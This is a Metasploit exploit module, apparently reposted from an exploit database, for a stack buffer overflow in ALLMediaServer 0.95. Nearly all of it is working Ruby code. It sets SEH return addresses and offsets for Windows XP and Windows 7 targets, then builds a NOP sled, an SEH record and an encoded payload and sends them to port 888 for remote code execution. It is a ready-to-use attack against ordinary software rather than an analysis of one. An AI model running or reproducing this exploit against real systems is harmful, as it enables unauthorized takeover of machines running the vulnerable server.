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ALLMediaServer 0.95 Buffer Overflow

Posted on 29 December 2017

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.95 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.95.
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anurag Srivastava', # Remote exploit and Metasploit module
],
'References' =>
[
[ 'EDB', '43406' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "",
'Space' => 660,
'DisableNops' => true
},

'Targets' =>
[
[ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
{
'Ret' => 0x00408315, # POP # POP # POP # RET
'Offset' => 1072
}
],
[ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
{
'Ret' => 0x00408315, # POP # POP # POP # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 28 2017',
'DefaultTarget' => 1))

register_options([Opt::RPORT(888)], self.class)

end

def exploit
connect
buffer = ""
buffer << make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << make_nops(19)
buffer << payload.encoded
print_status("Sending payload ...")
sock.put(buffer)
handler
disconnect
end
end

 

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